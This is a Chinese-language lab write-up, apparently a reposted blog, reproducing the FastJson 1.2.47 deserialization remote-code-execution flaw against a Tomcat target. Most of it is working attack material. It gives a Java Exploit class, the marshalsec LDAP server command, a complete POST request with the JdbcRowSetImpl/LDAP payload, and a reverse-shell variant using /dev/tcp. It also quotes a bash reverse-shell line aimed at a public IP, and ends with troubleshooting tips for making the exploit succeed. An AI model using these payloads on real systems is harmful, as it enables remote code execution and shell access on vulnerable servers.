0x01 背景努力学习ing~
为以后遇到java环境增加测试项做准备,防止一脸懵逼情况发生?,一般到时再看为时已晚,so先下手为强?。0x02 网络环境攻击机:
os:windows10
服务器:
os:kali虚拟机,ip:192.168.124.55,jdk版本:jdk8u181,中间件:tomcat9
目标机:
os:ubuntu虚拟
0x01 背景
努力学习ing~ 为以后遇到java环境增加测试项做准备,防止一脸懵逼情况发生?,一般到时再看为时已晚,so先下手为强?。
0x02 网络环境
攻击机: os:windows10 服务器: os:kali虚拟机,ip:192.168.124.55,jdk版本:jdk8u181,中间件:tomcat9 目标机: os:ubuntu虚拟机,ip:172.21.139.103,中间件:tomcat9,jdk版本:jdk8u181
0x03 环境搭建
unbutu&kali安装jdk:jdk8u181 链接: https://pan.baidu.com/s/1nI-JT93vjcA9--7fb0fhqw&shfl=shareset 提取码: sven tomcat下载:https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz FastJson1.2.47: 链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven 工具:marshalsec,需要用mvn打包一下,Github:https://github.com/mbechler/marshalsec 链接(已打包好): https://pan.baidu.com/s/1kT9vwhNDDdiJ3dL9BS3U4w&shfl=shareset 提取码: sven
访问靶机界面:
0x04 漏洞利用
import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec("touch /tmp/fastjson.test"); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.124.55:8080/fastjson/#Exploit 8088
POST /fastjson/ HTTP/1.1 Host: 192.168.124.34:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 256 { "name": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "x": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.124.55:8088/fastjson/Exploit", "autoCommit": true } }
0x05 反弹shell
坑点之一,java反弹shell,无法直接使用bash -i >& /dev/tcp/119.28.130.53/18888 0>&1
反弹shell_Exp: import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.124.5/888;cat <&5 | while read line; do $line 2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { } }

0x06 坑点
1.未编译Exploit.java,只放入服务器1个.java文件
2.java反弹shell无法直接使用linux命令反弹
3.jdk版本需要注意,下方图片jdk版本不存在此漏洞

文由http://www.svenbeast.com/post/c0VE5mjC-/